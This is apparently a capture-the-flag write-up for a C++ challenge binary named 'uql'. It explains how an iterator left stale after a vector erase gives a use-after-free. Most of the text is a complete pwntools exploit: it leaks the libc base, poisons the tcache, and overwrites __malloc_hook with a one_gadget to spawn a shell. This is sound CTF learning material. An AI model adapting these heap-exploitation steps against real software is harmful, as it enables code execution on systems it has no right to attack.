This challenge was about making use of an out of bound in a std::vector<std::string> thanks to a wrong use of an iteration. An iterator wasn't decremented after the deletion of an element here:```cfor (vector<string>::iterator it = db.begin(); it != db.end(); it++) {			string data = *it;			vector<modification>::iterator it2 = op.modifications.begin();			while (it2 != op.modifications.end()) {				it2 = find_if(it2, op.modifications.end(), [&](modification& m){ return m.target == data; });				if (it2 != op.modifications.end()) {					modification m = *(it2++);					(*it)[m.index] = m.value;				}			}			if (find(op.removals.begin(), op.removals.end(), data) != op.removals.end()) db.erase(it); // it should have been decremented here			else if (op.display) {				if (*it != data) cout << data << " -> " << *it << endl;				else cout << data << endl;			}		}```
It allowed a UAF which could lead to a tcache poisoinning, itself leading to a corruption of __malloc_hook by a one gadget, giving a shell.
Big thanks to _nobodyisnobody for unlocking me at the end, I couldn't have a setup that would validate the one_gadget constraints, he solved that in seconds.
Exploit below:
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *
exe = context.binary = ELF('uql')context.terminal = "gnome-terminal -- bash -c".split(" ")libc = ELF('./libc.so.6')
def get_PIE(proc):    memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()    return int(memory_map[0].split("-")[0],16)
def start(argv=[], *a, **kw):    '''Start the exploit against the target.'''    if args.GDB:        io = process([exe.path] + argv, *a, **kw)        pie = get_PIE(io)        gdbscript = '''            continue            ''' #% (pie + 0x002F0A, pie + 0x03193)        gdb.attach(io,  gdbscript=gdbscript)        return io    elif args.REM:        return remote("shell.actf.co", 21321)    else:        return process([exe.path] + argv, *a, **kw)
def insert(val):    io.sendlineafter("> ", "insert %s" % val)
def modify(toMod, val, index):    io.sendlineafter("> ", b"modify %s to be %s at %d" % (toMod, val, index))
def display():    io.sendlineafter("> ", "display everything")
def remove(val):    io.sendlineafter("> ", "remove %s" % val)
io = start()
a = b"a" * 0x550
insert(b"z%s" % a)insert(b"s%s" % a)
io.sendlineafter("> ", b"modify z%s to be f at 0 remove s%s" % (a, a))
insert(b"z%s" % a)insert(b"s%s" % a)
io.sendlineafter("> ", b"modify z%s to be s at 0 remove s%s" % (a, a))
remove(b"f%s" % a)remove(b"s%s" % a)
io.sendlineafter("> ", b"insert")insert(b"s%s" % a)
io.sendlineafter("> ", b"remove s%s display everything" % a)
io.recvline()leak = io.recvline()[:-1]print(hexdump(leak))libcLeak = u64(leak[0x40:0x48])libc.address = libcLeak - (0x1ebbe0+0x430)
print('libc base: {:#x}'.format(libc.address))
print(hex(libcLeak))
io.sendlineafter("> ", b"%s" % (b'd' * 0x200))junk = b"saaaaaaaa"
insert(junk)io.sendlineafter("> ", b"remove %s display everything" % junk)
io.recvline()leak = io.recvline()[:-1]
print(leak)
insert(junk)dest = libc.symbols['__malloc_hook'] - 0x10payload = ''for i in range(8):  payload += b'modify '+ leak + b' to be '+ p8((dest>>(i<<3))&0xff) +b' at '+str(i+64)+' '
payload += b'remove '+junk+' display everything'io.sendlineafter("> ", payload) 
io.sendlineafter("> ", b"remove %s display everything" % leak)
onegadget = [ 0xe6c7e, 0xe6c81, 0xe6c84]weapon = libc.address+onegadget[1]
payload = 'a'*9 + p64(weapon)payload += (0x200-len(payload))*'A'
print('gadget for breakpoint: {:#x}'.format(weapon))if args.GDB:  pause()
insert(payload)
io.interactive()
```